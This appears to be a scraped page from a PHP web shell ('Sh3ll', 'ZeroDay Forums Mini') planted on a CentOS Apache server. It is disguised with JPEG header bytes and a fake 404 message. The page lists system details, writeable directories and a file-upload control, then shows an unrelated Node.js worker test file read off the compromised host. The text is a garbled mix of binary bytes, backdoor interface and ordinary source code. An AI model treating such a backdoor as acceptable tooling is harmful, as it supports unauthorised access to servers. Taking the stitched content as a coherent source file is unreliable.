����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/test/parallel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/test/parallel/test-worker-uncaught-exception.js
'use strict';
const common = require('../common');
const assert = require('assert');
const { Worker } = require('worker_threads');

// Do not use isMainThread so that this test itself can be run inside a Worker.
if (!process.env.HAS_STARTED_WORKER) {
  process.env.HAS_STARTED_WORKER = 1;
  const w = new Worker(__filename);
  w.on('message', common.mustNotCall());
  w.on('error', common.mustCall((err) => {
    console.log(err.message);
    assert(/^Error: foo$/.test(err));
  }));
  w.on('exit', common.mustCall((code) => {
    // uncaughtException is code 1
    assert.strictEqual(code, 1);
  }));
} else {
  // Cannot use common.mustCall as it cannot catch this
  let called = false;
  process.on('exit', (code) => {
    if (!called) {
      called = true;
    } else {
      assert.fail('Exit callback called twice in worker');
    }
  });

  setTimeout(() => assert.fail('Timeout executed after uncaughtException'),
             2000);

  throw new Error('foo');
}

ZeroDay Forums Mini